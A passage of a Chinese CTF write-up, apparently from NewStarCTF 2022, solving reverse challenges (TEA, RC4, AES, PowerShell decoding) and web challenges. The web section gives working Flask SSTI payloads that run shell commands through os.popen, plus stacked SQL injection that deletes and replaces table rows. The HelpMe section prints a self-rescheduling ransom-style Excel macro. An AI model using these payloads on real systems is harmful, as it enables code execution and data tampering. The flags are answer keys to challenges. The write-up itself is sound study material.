          0xF1, 0x72, 0x23, 0x5F, 0x8E, 0x62, 0xF2, 0xD8, 0x94, 0xFC,
          0x4F, 0xAE, 0x82, 0xAF, 0x0A, 0x34, 0x44, 0x1B, 0x1E, 0x90,
          0x52, 0xE9],
         [0xF0, 0x1C, 0xA2, 0x92, 0xD3, 0x69, 0x97, 0xA9, 0x6E, 0x45,
          0xC2, 0x73, 0x14, 0x2A, 0x55, 0x49, 0xD3, 0xD7, 0x87, 0xCB,
          0x5C, 0xEB, 0x8B, 0x38, 0x6D, 0xD7, 0xED, 0xEE, 0xE3, 0x0D,
          0x07, 0x0C],
         [0x05, 0xAF, 0xB7, 0xE7, 0x94, 0x0A, 0x68, 0xA8, 0x75, 0xA2,
          0x8B, 0x74, 0x65, 0xBD, 0x8C, 0xE4, 0xE8, 0x6A, 0xF2, 0x9E,
          0x31, 0x48, 0x54, 0xA1, 0xCC, 0x36, 0x9A, 0x7D, 0x28, 0x1E,
          0x24, 0xF7],
         [0x92, 0xCE, 0x38, 0x64, 0x4D, 0x67, 0x35, 0x5F, 0x18, 0xC7,
          0x9C, 0x75, 0x16, 0xD0, 0xCB, 0xD3, 0x99, 0x01, 0x9D, 0x85,
          0x6E, 0xD5, 0x1D, 0xEA, 0x4F, 0x01, 0x93, 0x58, 0x3D, 0xCB,
          0x91, 0x32],
         [0xDF, 0x51, 0xED, 0x91, 0x06, 0x68, 0x1E, 0x96, 0xEF, 0x3C,
          0xCD, 0x76, 0x77, 0x7B, 0x0A, 0x5E, 0x3E, 0x9C, 0x80, 0xB0,
          0x63, 0xC2, 0x76, 0xA3, 0x36, 0xE8, 0xE8, 0x97, 0x9A, 0xE4,
          0xEE, 0x6D],
         [0xC4, 0xC8, 0xEE, 0xE6, 0xF7, 0xC5, 0x33, 0x7D, 0x5A, 0x59,
          0xCE, 0x77, 0x18, 0x66, 0xD1, 0x55, 0x1F, 0xCB, 0xF3, 0xFF,
          0xE0, 0xBF, 0x5F, 0x0C, 0x79, 0xFB, 0x81, 0xBA, 0xCF, 0x21,
          0xC3, 0x90],
         [0x99, 0x6B, 0x23, 0x5B, 0xD8, 0x46, 0x84, 0xFC, 0x11, 0x96,
          0x87, 0x78, 0x79, 0x49, 0x28, 0x00, 0xF4, 0xEE, 0xDE, 0x52,
          0xD5, 0xBC, 0x78, 0x05, 0x68, 0x1A, 0xEE, 0xE9, 0xB4, 0x62,
          0x40, 0x3B],
         [0x66, 0xAA, 0x34, 0xC8, 0xA1, 0xC3, 0xE1, 0xF3, 0xD4, 0xBB,
          0xC8, 0x79, 0x8A, 0x7C, 0x97, 0x2F, 0xE5, 0xE5, 0xB9, 0x99,
          0x22, 0x29, 0x41, 0x4E, 0x3B, 0x05, 0xA7, 0x14, 0x29, 0x8F,
          0xCD, 0xE6],
         [0x43, 0x5D, 0x09, 0xA5, 0xBA, 0xD4, 0xAA, 0xBA, 0x7B, 0xE0,
          0xF9, 0x7A, 0x7B, 0x87, 0xC6, 0xDA, 0xBA, 0xF0, 0xDC, 0xA4,
          0x67, 0xA6, 0xCA, 0x77, 0x42, 0xCC, 0x9C, 0x63, 0x56, 0x78,
          0x8A, 0x61],  # z
         [0xF8, 0x94, 0xBA, 0xCA, 0xDB, 0xE1, 0x6F, 0x41, 0x06, 0x5D,
          0x4A, 0x7B, 0x8C, 0x72, 0x0D, 0xC1, 0x7B, 0x0F, 0xEF, 0x53,
          0x74, 0x43, 0x73, 0x80, 0x65, 0x4F, 0x85, 0xF6, 0x1B, 0x15,
          0x5F, 0xE4],
         [0xDA, 0x66, 0x30, 0x9C, 0x55, 0x5F, 0xAD, 0xD7, 0x90, 0x3F,
          0x24, 0x7D, 0xCE, 0x98, 0x23, 0x0B, 0x61, 0xF9, 0xE5, 0x4D,
          0xE6, 0xCD, 0x45, 0xB2, 0xA7, 0xB9, 0xCB, 0x20, 0xB5, 0x13,
          0xE9, 0xCA],
         [0x87, 0x09, 0xA5, 0x29, 0x6E, 0xA0, 0x16, 0x2E, 0xE7, 0x14,
          0x55, 0x7E, 0x8F, 0x23, 0x22, 0x36, 0x06, 0x14, 0xC8, 0xB8,
          0xDB, 0x1A, 0x9E, 0x4B, 0x2E, 0xA0, 0x60, 0xDF, 0xF2, 0xEC,
          0x46, 0x25],
         [0x34, 0xB8, 0xFE, 0x96, 0xC7, 0xF5, 0x23, 0xCD, 0x2A, 0xE9,
          0x7E, 0x27, 0xA8, 0x76, 0xA1, 0x05, 0xCF, 0xDB, 0xA3, 0x0F,
          0xD0, 0x2F, 0x8F, 0xBC, 0x69, 0xEB, 0x11, 0xAA, 0x3F, 0xB1,
          0x73, 0x00],
         [0x8F, 0x01, 0x3D, 0x01, 0x16, 0x58, 0xCE, 0x66, 0xFF, 0x4C,
          0xBD, 0x26, 0x87, 0x8B, 0x9A, 0x4E, 0xEE, 0x2C, 0xF0, 0xC0,
          0xD3, 0x32, 0xA6, 0x53, 0xE6, 0x58, 0x78, 0x87, 0x8A, 0xB4,
          0x5E, 0x9D],
         ]

for i in range(len(test)):
    print(test[i] * 32)

flag = [0] * 32
for i in range(len(test)):
    for k in range(len(enc)):
        if enc[k] == test_[i][k]:
            flag[k] = ord(test[i])
for i in range(len(flag)):
    print(chr(flag[i]), end='')  # flag{umm_I_ an't_calc_1t_@t_all}

flag{umm_I_ an't_calc_1t_@t_all} # 应该是数据问题，检查了一下，缺失字符

猜测 flag{umm_I_can't_calc_1t_@t_all} 正确！！！

【这里应该是patch 数据时，未断点正确造成，数据轻微有误！！！】

funnyOTL

main 函数

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    srand(int(time(0))&0xF0000000); // 每次运行main程序的时候产生的随机值都一样

    for (int i = 0; i < 24; i++) {
        printf("%d ", rand() % 24);
    }
    printf("\n");
    return 0;
}

// 每次生成序列相同！
// rand()*2%24
//4 6 4 2 6 10 10 18 4 8 18 0 4 10 18 2 18 18 18 16 8 22 22 4

//发现自己的随机序列不对，需要动态调试获得，程序生成的随机序列。

0x12,0x6,0x8,0xa,0x6,0x14,0xa,0x14,0x00,0xc,0x2,0x4

一些c++ 的语法函数知识。

# ~string(); 析构函数

# std::replace() 函数的语法

    std::replace(
        iterator start,
        iterator end,
        const T& old_value,
        const T& new_value);
参数：
iterator start, iterator end- 这些是指向容器中开始和结束位置的迭代器，我们必须在那里运行替换操作。
old_value- 是要搜索并替换为新值的值。
new_value- 要分配的值而不是 old_value。

(173条消息) Reverse_iterator的使用_一休求索的博客-CSDN博客

这是结合动态调试，获得的程序核心加密流程：

for i in range(0, 24, 2):
    posCur=i
    posLogMe=order[i//2]

    string_3[0] = enc[posCur]
    string_3[1] = enc[posCur + 1]

    string_4[0] = enc[posLogMe]
    string_4[1] = enc[posLogMe + 1]

    string_3[1] = ~(string_3[1]^posLogMe) &0xff
    string_3[0] = string_3[0]^posLogMe&0xff

    enc[posCur] = string_4[0]
    enc[posCur + 1] = string_4[1]

    enc[posLogMe+1] = string_3[1]
    enc[posLogMe] = string_3[0]

对以上分析出的程序流程，做逆处理即可：【这里静态分析也是很明了的】

# -*- coding: UTF-8 -*-

enc = [0x4C, 0xAB, 0x78, 0x49, 0x68, 0x9D, 0x51, 0x79, 0x75, 0x5F,
       0x7D, 0xC5, 0x63, 0x52, 0x4C, 0xB4, 0x4F, 0x7B, 0x67, 0x61,
       0x6F, 0x6E, 0x6B, 0x5F]

print('flag{'+'x'*18+'}')  # flag{123456789012345678}

order = [0x12,0x6,0x8,0xa,0x6,0x14,0xa,0x14,0x00,0xc,0x2,0x4]  # 动态调试获得

string_3 = [0] * 2
string_4 = [0] * 2

for i in range(22, -2, -2):
    posCur=i
    posLogMe=order[i//2]

    string_3[1]= enc[posLogMe + 1]
    string_3[0] =enc[posLogMe]

    string_4[0] = enc[posCur]
    string_4[1] = enc[posCur + 1]

    string_3[1] = (~(string_3[1])&0xff) ^ posLogMe # 这里的处理需要注意
    string_3[0] = string_3[0]^posLogMe&0xff

    enc[posLogMe] = string_4[0]
    enc[posLogMe + 1] = string_4[1]

    enc[posCur+1] = string_3[1]
    enc[posCur] = string_3[0]

for i in range(len(enc)):
    print(chr(enc[i]), end='')  # }LTS_wonk_u_w0n_LTO{galf

print()
print('}LTS_wonk_u_w0n_LTO{galf'[::-1])

flag{OTL_n0w_u_know_STL}

Web

BabySSTI_One

<body bgcolor=#E1FFFF><br><p><b>
<center>Welcome to NewStarCTF, Dear CTFer
</center></b></p><br><hr><br>
<center>Try to GET me a NAME</center><!--This is Hint: Flask SSTI is so easy to bypass waf!--></body>


?name=<script>alert(1)</script>

出现弹窗！

?name={{2*8}}

Welcome to NewStarCTF, Dear 16

# 命令执行 ls
?name=
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("ls").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

Get Out!Hacker!


hint:  Flask SSTI is so easy to bypass waf


# 读源码payload
?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}
{% endfor %}



# for i in ['a','1']
{{ i }}
# endfor

{% for i in ['a','1'] %}
{{ item }}
{% endfor %}

这两条是等效的，但是有个前提，必须在environment中配置line_statement_prefix
即
app.jinja_env.line_statement_prefix="#"

multiSQL

0x01 sql 注入测试

username=1' or 1=1 #

火华 11 201 212

username=1' order by 5 # 无回显
username=1' order by 4 # 有回显 说明四列

username=-1' union select 1,2,3,group_concat(schema_name) from information_schema.schemata

同学你在干嘛  有过滤

借助hacker 上工具，简单测试，发现 select union 等被过滤

username=-1' uni/**/on se/**/lect 1,2,3,group_concat(schema_name) from information_schema.schemata #
无回显

注释符，大小写，双写关键字都无法绕过

通用绕过（编码）：
如URLEncode编码，ASCII,HEX,unicode编码绕过：
or1=1即%6f%72%20%31%3d%31，而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

username=-1' uni/**/on se/**/lect 1,2,3,group_concat(schema_name) from information_schema.schemata #



cmd='-1\' union select 1,2,3,group_concat(schema_name) from information_schema.schemata #'

for i in range(len(cmd)):
    print('CHAR('+str(ord(cmd[i]))+')+',end='')

对绕过这些关键字，没啥思路。尝试堆叠注入！

0x02 尝试堆叠注入

# 尝试堆叠注入，发现可以
username=1';show databases;#

english
information_schema
mysql
performance_schema    

username=1';show tables;#
score

username=1';show columns from score;#

# 修改成绩
username=1';update score set listen=500 where username=火华--+

发现 update 被waf

username=1';CHAR(117)+CHAR(112)+CHAR(100)+CHAR(97)+CHAR(116)+CHAR(101) score set listen=500 where username=火华--+

无效
update过滤了

(173条消息) 详解MySQL数据库insert和update语句_wgcc的博客-CSDN博客_insert在数据库中是什么意思

发现 ，insert replace等 指令都可替代 update

username=1';insert into score values("火华",200,200,200);#

insert waf

username=1';replace into score values("火华",200,200,200);#
成功执行

但是，第一条数据不符合，需要排序，或者删除！！！

#低分删除即可：
username=1';delete from score where listen=11;#

成功后，查询分数得到flag

get flag

flag{Ju3t_use_mo2e_t2en_0ne_SQL}

Re

Hash

测试知道是 hash 算法是 sha1()。直接爆破，得到flag。

#encoding=utf-8

import hashlib
import itertools

text=['A2F17ED1C6A8BC31769CDF654DF4B8A937042CB6','0CA8A2EDB0C1D34A432A5A4464E0D6ABD847C831','C359D69F3F08BB920F2C3B51133205533462093E','CC5C3FE6E7356A26A134CFF5633349F597C40A9D','4AC4BB3F27F245BA9178651AA5CDEDCBB2862E2A','A01E33F4DCDB6BA1AE9F34A97CF8F6DEEEDF1A8D','D3AF70912A8C1B22CFDECE071BA36BC4662B58FA','9395EAB195D25B676D7D07075D3838A9AC19DF21','FDB43C5EF76ECDA0C1661D6D199B5BFAC1DB538A','DA8E9997A010BE78B20108CE79FEC1FB9C63D8DC','809DA627F1AD01D65864C376E3179B62D9D74261','8F61EE21AC7579626934E0FFB6A62B3D4A82EEC4','E2A954758FDB61F869998E9788B7B7E48480B832','B8E3349B97532B27AA62B8718B68240179158144']

# print(hashlib.sha1('fla'.encode()).hexdigest())

for i in range(len(text)):
    print(len(text[i]))

modle = list(itertools.product(
    ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
     'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',
     'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z','{','}','_','!','@','|'], repeat=3))

i = -1
flag=''

for k in range(len(text)):
    while True:
        i += 1
        # print(modle[i])
        str = ''.join(modle[i])

        if hashlib.sha1(str.encode()).hexdigest() in text[k].lower():
            print('correct: ', str)
            # input()
            flag+=str
            break
        else:
            print('[-]:'+str)
    i=-1
print(flag)

flag{Easy_Hash_And_Y0u_Solve_1t_Quickly!!}

Exception

0x01 程序分析

(173条消息) 逆向程序分析：Windows的main()，启动函数分析_CodeBowl的博客-CSDN博客_windows编程的主函数

查看异常处理块！

;   __except(loc_4B18BC) // owned by 4B18A4
mov     esp, [ebp+ms_exc.old_esp]
mov     eax, [ebp+var_48]
xor     eax, 12345678h
mov     [ebp+var_48], eax
mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFF

# 触发异常后，将[ebp+var_48]^0x12345678

所以可以依据这个，直接生成出delta[] 数组，进行解密。

tmp=0x9E3779B9
while()
    delta+=tmp
    tmp=tmp^0x12345678&0xffffffff

【也可以动态调试获得，每组delta[]数据值】

0x02 解密

python 解密脚本

# encoding=utf-8

print('flag{'+'x' * 26+'}')

enc = [0xCE, 0x21, 0xE8, 0x88, 0x70, 0x9D, 0x00, 0x0B, 0x8F, 0xE6,
       0xB1, 0x91, 0x96, 0xEA, 0x31, 0x01, 0x7D, 0x9D, 0x20, 0xA3,
       0xFB, 0x7D, 0x18, 0xA9, 0xCA, 0xC5, 0x52, 0xC4, 0x53, 0x67,
       0x69, 0xA9]
enc1 = [0x88E821CE,0x0B009D70,0x91B1E68F,0x131EA96,0x0A3209D7D,0x0A9187DFB,0x0C452C5CA,0x0A9696753]

# sum=0
# tmp=0x9E3779B9
# for i in range(32):
#     sum+=tmp
#     tmp^=0x12345678
#     print(hex(sum&0xffffffff),end=',')

v9_enc=[0x9E3779B9,0x2a3aa97a,0xc8722333,0x547552f4,0xF2ACCCAD,0x7EAFFC6E,0x1CE77627
    ,0xA8EAA5E8,0x47221FA1,0xD3254F62,0x715CC91B,0xFD5FF8DC,0x9B977295,0x279AA256
    ,0xC5D21C0F,0x51D54BD0,0xF00CC589,0x7C0FF54A,0x1A476F03,0xA64A9EC4,0x4482187D
    ,0xD085483E,0x6EBCC1F7,0xFABFF1B8,0x98F76B71,0x24FA9B32,0xC33214EB,0x4F3544AC
    ,0xED6CBE65,0x796FEE26,0x17A767DF,0xA3AA97A0]

key = [1, 2, 3, 4]
print()
for k in range(0, 8, 2):
    v11 = enc1[k]
    v10 = enc1[k + 1]
    for i in range(32):
        v9=v9_enc[31-i]
        v10 -= (key[3] + (v11 >> 5)) ^ (v9 + v11) ^ (key[2] + 16 * v11)
        v10= v10&0xffffffff
        v11 -= (key[1] + (v10 >> 5)) ^ (v9 + v10) ^ (key[0] + 16 * v10)
        v11 = v11 & 0xffffffff
    enc1[k] = v11
    enc1[k + 1] = v10

for i in range(len(enc1)):
    print(hex(enc1[i]),end=',')


flag:

0x33433434,0x31463741,0x41443231,0x37454232,0x34463832,0x35433135,0x30443245,0x38353539,

cpp 解密脚本

#include <stdio.h>
#include <stdint.h>  

 uint32_t delta[]={0x9E3779B9,0x2a3aa97a,0xc8722333,0x547552f4,0xF2ACCCAD,0x7EAFFC6E,0x1CE77627
    ,0xA8EAA5E8,0x47221FA1,0xD3254F62,0x715CC91B,0xFD5FF8DC,0x9B977295,0x279AA256
    ,0xC5D21C0F,0x51D54BD0,0xF00CC589,0x7C0FF54A,0x1A476F03,0xA64A9EC4,0x4482187D
    ,0xD085483E,0x6EBCC1F7,0xFABFF1B8,0x98F76B71,0x24FA9B32,0xC33214EB,0x4F3544AC
    ,0xED6CBE65,0x796FEE26,0x17A767DF,0xA3AA97A0}; 

//加密函数
void encrypt (uint32_t* v, uint32_t* k,int round) {
    uint32_t v0=v[0], v1=v[1], sum=0, i;           /* set up */
                                                  /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i < round; i++) {                       /* basic cycle start */
        sum = delta[i];
        v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}
//解密函数
void decrypt (uint32_t* v, uint32_t* k,int round) {
    uint32_t v0=v[0], v1=v[1], sum=0, i;  /* set up */
                       /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i<round; i++) {                         /* basic cycle start */
        sum = delta[round-1-i];
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}  

int main()
{  

    uint32_t v[] = { 0x88E821CE,0x0B009D70,0x91B1E68F,0x131EA96,0x0A3209D7D,0x0A9187DFB,0x0C452C5CA,0x0A9696753};
      uint32_t k[]={1,2,3,4};
      int n=sizeof(v)/sizeof(uint32_t);
      int round=32;

    // v为要加密的数据是两个32位无符号整数
    // k为加密解密密钥，为4个32位无符号整数，即密钥长度为128位
    printf("加密前原始数据：\n");
    for (int i=0;i<8;i++)
    {
        for (int j=0;j<4;j++)
        {
        printf("0x%x,",((v[i]>>j*8)&0xff));
         }
     } 

     for (int i=0;i<n/2;i++)
     {
            decrypt(&v[i*2], k,round);
     }
    printf("\n解密后的数据：\n");
    for (int i=0;i<8;i++)
    {
        for (int j=0;j<4;j++)
        {
        printf("%c",((v[i]>>j*8)&0xff));      // 327a6c4304ad5938eaf0efb6cc3e53dc   flag{327a6c4304ad5938eaf0efb6cc3e53dc}
         }
     } 

         for (int i=0;i<n/2;i++)
     {
             encrypt(&v[i*2], k ,round);
     } 

    printf("\n加密后的数据：\n");
     for (int i=0;i<8;i++)
    {
        for (int j=0;j<4;j++)
        {
        printf("0x%x,",((v[i]>>j*8)&0xff));
         }
     }

    return 0;
}

flag{44C3A7F112DA2BE728F451C5E2D09558}

HelpMe

0x01 ps1 解析恢复xlsm

根据提示查阅到相关资料

(174条消息) 还原永恒之蓝下载器PS脚本混淆_FFE4的博客-CSDN博客

从ps1中截取下列数据

echo $(New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAKxePWMA/31RT2+bMBS/8yksxAHUYCVI66RMm5TQdJq6LFXJdslycPGDeDU2wi9a0LTv3mdos2yHXZDfD//++UWoGnAompa9Z/HuRiBsCdlUlQPcxx8BU4+xsBDINiWy6Yxl0yyjzzzL5tksTBK+tV+NOnleAaU10sVJED1BT5Jf4Ge6efwBxFz2CLs9m10HXvVBGGkblq7FiWVvrllaABYAkl0k+hCZo9ZBZTsWR8pIOJHi9B17OacaSe11vLpK2C/vuhvnPd3dPZLn2OIfv+R3EC1Wxd8Ji94hNJxKHDuFPc+7vkVbd6I99HwBbi2MqEEOTH439POG47y2EggIV/kyHJF7IaUytc/xX+WXe15gP5/f3+XF2yCqlB7koqZvBR6+N32tKuQn7RqS973chfCnDb8lAtEfQMiF1v6xXRwOMiFtY2XKwbLzmX24vAPa6xn2GwNTSoHC3zjjfNsJ42gDza0yQi+1LZ/i0X7CphM2HvlnMDUeLn34jXKtdeCFvd+fkRad5tYgGGTpN6GPwM7WKfHt8Gi+ALX3+Tn9DYNn5mIx06oCAAA='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()

得到如下：【显然就是核心加密逻辑了】

$timestamp = ([DateTimeOffset](Get-Date "Sat Oct 01 2022 20:22:21")).ToUnixTimeSeconds()
$key = New-Object Byte[] 16
Get-Random -Max 256 -SetSeed $timestamp >$null
for ($index = 0; $index -lt 16; $index++) {$key[$index] = [byte](Get-Random -Max 256)}
$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.Mode = "ECB"
$AES.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$file = "$mypath\mygift.xlsm"
$bytes = [System.IO.File]::ReadAllBytes("$file")
$Encryptor = $AES.CreateEncryptor()
$encdata = $Encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
$Encryptor.Dispose()
$AES.Dispose()
Set-Content -Value $encdata -Encoding Byte "$file.enc"

如上可以分析知道：

# AES 加密
# key 密钥随机生成
# ECB 模式
# 填充模式 PKCS7

# [byte](Get-Random -Max 256)
# Get-Random  获取一个随机数，或从集合中随机选择对象。

# powershell run
PS F:\> echo ([DateTimeOffset](Get-Date "Sat Oct 01 2022 20:22:21")).ToUnixTimeSeconds()
1664626941

PS F:\> $timestamp = ([DateTimeOffset](Get-Date "Sat Oct 01 2022 20:22:21")).ToUnixTimeSeconds()
PS F:\> $key = New-Object Byte[] 16
PS F:\> Get-Random -Max 256 -SetSeed $timestamp >$null
PS F:\> for ($index = 0; $index -lt 16; $index++) {$key[$index] = [byte](Get-Random -Max 256)}
PS F:\> echo $key
105
192
50
118
175
152
128
155
147
80
183
37
190
22
242
78

Get-Random (Microsoft.PowerShell.Utility) - PowerShell | Microsoft Learn

如上，key=[105,192,50,118,175,152,128,155,147,80,183,37,190,22,242,78]

AES 解密脚本

# encoding=utf-8

from Crypto.Cipher import AES

key = [105, 192, 50, 118, 175, 152, 128, 155, 147, 80, 183, 37, 190, 22, 242, 78]
key_b=bytes(key)

with open(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week4\HelpMe\HelpMe\mygift.xlsm.enc", 'rb') as f:
    chipher = f.read()

# iv = b'\x00' * 8
print(chipher)

aes = AES.new(key_b, AES.MODE_ECB)

data = aes.decrypt(chipher)
print(data)

# with open(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week4\HelpMe\HelpMe\mygift.xlsm",'wb') as f:
#     f.write(data)

0x02 Excel 宏处理

获得.xlsm后打开,发现总有弹窗！

Excel如何打开宏，Excel宏在哪里-百度经验 (baidu.com)

找到 excel 宏，发现有东西

Sub hack()

    MsgBox "You have to pay me a lot of money now!"
    Dim shell
    Dim talk
    Set talk = CreateObject("SAPI.SpVoice")
    talk.Rate = -3
    talk.Volume = 100
    talk.Speak "You have to pay me a lot of money now"

    Dim a, b, x, arr
    a = 20
    b = 22
    x = 21

    arr = Array(2, 19, 16, 21, 14, 24, 18, 15, 5, 0, 6, 23, 13, 29, 11, 9, 7, 10, 20, 12, 1, 26, 30, 31, 27, 25, 3, 28, 8, 22, 17, 4)

    Dim i

    For i = 1 To 32
    If Cells(1, i).Value = "*" Then Exit For
    Cells(2, arr(i - 1) + 1).Value = Cells(1, i).Value Xor x
    x = (a * x + b) Mod 255
    Cells(1, i).Value = "*"
    Next
    talk.Speak "I have hacked you"
    Set sh = CreateObject("Wscript.Shell")
    sh.Run ("%comspec% /k tree"), 3, True
    ActiveWorkbook.Close
    alertTime = Now + TimeValue("00:00:30")
    Application.OnTime alertTime, "hack"

End Sub

62    163 115 241 149 89  216 45  20  138 220 8   75  42  135 93  161 60  115 215 169 66  32  132 141 21  184 95  159 3   121 91

0x03 py解密

对上述流程进行解密：

# encoding=utf-8

a = 20
b = 22
x = 21

arr =[2, 19, 16, 21, 14, 24, 18, 15, 5, 0, 6, 23, 13, 29, 11, 9, 7, 10, 20, 12, 1, 26, 30, 31, 27, 25, 3, 28, 8,
            22, 17, 4]
enc=[62,163,115,241,149,89,216,45,20,138,220,8,75,42,135,93,161,60,115,215,169,66,32,132,141,21,184,95,159,3,121,91]

flag=''

for i in range(len(enc)):
    flag+=chr(enc[arr[i]]^x)
    x = (a * x + b)%255

print(flag)

flag{This_is_@_begin_about@hack}

哈德兔的口

0x01 程序分析

jadx 逆向APK 文件

存在 X86 架构 .so 文件，那么程序是可以动态调试的。

先导出.so 文件进行静态分析

cheak 将输入进行 rc4 加密，然后与密文比较。密钥可以动态调试，decode()获得。

0x02 动态调试 .so文件

/* loaded from: classes.dex */
public class MainActivity extends c {
    // rc4 加密 密钥key=Hikari#a0344y3y#19301211

    /* renamed from: s */
    String f3430s = "|%tJ|%pK~%t;6%}d}s\"K|vt;2)y92a=x";

    static {
        System.loadLibrary("check");
    }

    public static /* synthetic */ void J(MainActivity mainActivity, EditText editText, View view) {
        mainActivity.K(editText, view);
    }

    /* JADX INFO: Access modifiers changed from: private */
    public /* synthetic */ void K(EditText editText, View view) {
        String obj = editText.getText().toString();
        try { // android.util.Base64
            Class<?> cls = Class.forName(decode("}s+=4aur{>IA5w&F+v=G4>#F*\"ll")); // android.util.Base64
            obj = new String((byte[]) cls.getMethod(decode("+(#G*ad="), byte[].class, Integer.TYPE).invoke(cls, obj.getBytes(StandardCharsets.UTF_8), 0)); // encode
        } catch (ClassNotFoundException e2) {
            e2.printStackTrace();
        } catch (IllegalAccessException e3) {
            e = e3;
            e.printStackTrace();
        } catch (NoSuchMethodException e4) {
            e4.printStackTrace();
        } catch (InvocationTargetException e5) {
            e = e5;
            e.printStackTrace();
        }
        Toast.makeText(this, decode(check(obj, decode(this.f3430s)) ? "x)#;+)yJ3_|l" : "{>#b4b}94rqJ5(hdxvE;+(9;xv'K*('D4rpD+adG4=4l"), 1).show();
    }

    public native boolean check(String str, String str2);

    public native String decode(String str);

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.e, androidx.activity.ComponentActivity, u.d, android.app.Activity
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_main);
        final EditText editText = (EditText) findViewById(R.id.et_passwd);
        ((Button) findViewById(R.id.btn_check)).setOnClickListener(new View.OnClickListener() { // from class: o1.a
            @Override // android.view.View.OnClickListener
            public final void onClick(View view) {
                MainActivity.J(MainActivity.this, editText, view);
            }
        });
    }
}

通过动态调试知道，程序获取输入后。将输入base64编码，然后RC4加密。

这里有个细节，rc4 算法被魔改了两个点：

可以看到，rc4加密时，先对数据 xor 0xc6。然后加密完成时，又对结果xor 0x73 然后才得到密文。因为这是RC4 加密算法。那么我们用常规rc4 解密出的数据 xor 0x73 xor 0xc6，就可以得到明文。

【具体原理参见 RC4加密算法原理简单理解 - 沉默的赌徒 - 博客园 (cnblogs.com)】

# encoding=utf-8

from Crypto.Cipher import ARC4
import binascii
import hashlib
import base64

key = 'Hikari#a0344y3y#19301211'  # 动态调试得到
chipher = [0xF0, 0x90, 0x10, 0xB7, 0xD1, 0x6E, 0x1A, 0xBC, 0xFB, 0x56,
           0xE6, 0x93, 0x0C, 0xC0, 0xB5, 0x06, 0x4D, 0xBD, 0xF1, 0x9C,
           0xD1, 0x9A, 0x3D, 0x03, 0xCB, 0x16, 0x42, 0x9A, 0x4B, 0x22,
           0x10, 0x9D, 0xC6, 0x70, 0x65, 0xAA, 0xC0, 0x3E, 0x54, 0x33,
           0xF8, 0x42, 0x2A, 0xE0, 0x52, 0x19, 0xB4, 0x6A, 0xA2, 0x97,
           0xEE, 0x2A, 0x9D, 0xC2, 0x32, 0xED]

cipher_text = bytes(chipher)

print(cipher_text)
cipher = ARC4.new(key.encode())
decrypt_text = cipher.decrypt(cipher_text)
# print(decrypt_text)
# decrypt_text = base64.b64decode(decrypt_text)
for i in range(len(decrypt_text)):
    print(chr(decrypt_text[i]^0xc6^0x73),end='') # rc4 魔改位置

print()
print(base64.b64decode('ZmxhZ3tRQVFfaG93MmRlY29kZSMjcGxzX3RlQWNoX3RlVmNoX21lISF9'))

# cipher = ARC4.new(key.encode())
# plain_text = cipher.encrypt(decrypt_text)
# print(plain_text)

flag{QAQ_how2decode##pls_teAch_teVch_me!!}

mpz

0x01 搜索相关知识

hint:
lumina may be helpful

六角射线 - IDA 光彩 (hex-rays.com)

[原创]IDA lumina C# 服务端实现-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com

GitHub - synacktiv/lumina_server： IDA Lumina 功能的本地服务器

查阅到上面感觉有关的链接，可以知道lumina是一种快速库识别和识别的技术。

GitHub - naim94a/lumen: A private Lumina server for IDA Pro

这个可能就是题目说的lumina。但根据文章安装环境配置出错，，，

又尝试 mpz 相关搜索

c语言使用gmp库运算 - 简书 (jianshu.com)

(174条消息) Python gmpy2 mpz Methods_桃地睡不着的博客-CSDN博客 (174条消息) Python gmpy2 mpz Methods_桃地睡不着的博客-CSDN博客

(174条消息) GMP库使用方法_play maker的博客-CSDN博客_gmp库

# ida 中发现的一些信息
GNU MP: Cannot reallocate memory (old_size=%lu new_size=%lu)

mpz(…)
mpz()返回一个设置为0的新mpz对象。
mpz(n) 从一个数值n返回一个新的mpz对象，如果n不是一个整数，它将被截断为一个整数。
mpz(s[, base=0]) 从一个由指定基数的数字组成的字符串s返回一个新的mpz对象。如果base=0，那么二进制、八进制或十六进制的Python字符串会被识别为前导0b、0o或0x字符。否则，字符串将被假定为十进制。基数的范围在2和62之间。

mpz_random(…)
